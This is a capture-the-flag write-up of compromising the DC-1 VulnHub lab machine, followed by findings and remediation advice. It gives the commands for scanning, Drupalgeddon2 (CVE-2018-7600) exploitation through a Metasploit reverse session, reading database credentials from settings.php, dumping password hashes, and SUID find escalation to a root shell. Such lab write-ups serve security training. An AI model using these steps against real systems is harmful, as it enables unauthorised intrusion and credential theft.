DC-1 VulnHub penetration test writeup

CTF Writeup

DC-1 VulnHub — Full Compromise

A complete walkthrough of the DC-1 VulnHub machine — from host discovery to root. Covers Drupalgeddon2 exploitation, credential extraction, and SUID privilege escalation.

Difficulty: Beginner
OS: Linux (Debian)
Flags: 4
CVE-2018-7600
Recon
Port scan
Enum
Drupalgeddon2
Shell
Creds
SUID PrivEsc
Root
01

Host discovery

Ran netdiscover on the host-only interface to find the target on the local network.

netdiscover -i eth1
Target: 192.168.56.102
02

Port scanning

Full-port OS-detection scan to map the attack surface.

nmap -p- -O 192.168.56.102
Open: 22 (SSH), 80 (HTTP), 111 (RPC) — Debian Linux
03

Service enumeration

Version scan on open ports revealed Apache 2.2.22, PHP 5.4, and a Drupal CMS fingerprint.

nmap -sV -p22,80,111 192.168.56.102
04

Web enumeration & vulnerability scan

Browsing to port 80 confirmed Drupal 7. Nikto surfaced exposed paths and misconfigurations.

nikto -h http://192.168.56.102
Confirmed Drupal 7 — Drupalgeddon2 (CVE-2018-7600) applicable
05

Exploitation via Metasploit

Used the drupal_drupalgeddon2 module to gain a Meterpreter session as www-data.

use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 set LHOST 192.168.56.101 run
Meterpreter session opened — user: www-data
06

Flag 1 & credential extraction

Flag 1 hinted at the config file. Reading settings.php leaked database credentials.

cat sites/default/settings.php
DB credentials — dbuser : R0ck3t
07

Database enumeration

Connected to the local MySQL instance and pulled user password hashes from drupaldb.

mysql -u dbuser -p use drupaldb; select * from users;
Hashes extracted for: admin, Fred
08

Privilege escalation — SUID find

Flag 4 hinted at the same escalation vector used for root. The find binary had the SUID bit set, allowing shell spawn as root.

find /dev -name null -exec /bin/sh \;
euid = 0 → root shell obtained
09

Final flag

cat /root/thefinalflag.txt
System fully compromised
Critical

Drupalgeddon2 RCE

CVE-2018-7600 — unauthenticated remote code execution on Drupal 7.x via form API.

High

Exposed config file

settings.php readable by web process — plaintext DB credentials leaked to attacker.

Medium

SUID misconfiguration

find binary with SUID bit allows any user to spawn a privileged shell as root.

Patch Drupal immediately

Upgrade to a supported Drupal version. Drupal 7 has been end-of-life since January 2025.

Restrict configuration files

Set strict file permissions on settings.php (440 or 444). It should never be readable by the web process in a way that exposes credentials.

Audit SUID/SGID binaries

Run find / -perm -4000 regularly. Remove SUID from non-essential binaries like find, vim, and nmap.

Least-privilege database access

The DB user should have only the minimum required permissions — no shell, no file read, no admin rights.

System fully compromised — root achieved

Recon → Scan → Enum → Exploit (RCE) → Shell → Creds → DB → PrivEsc → /root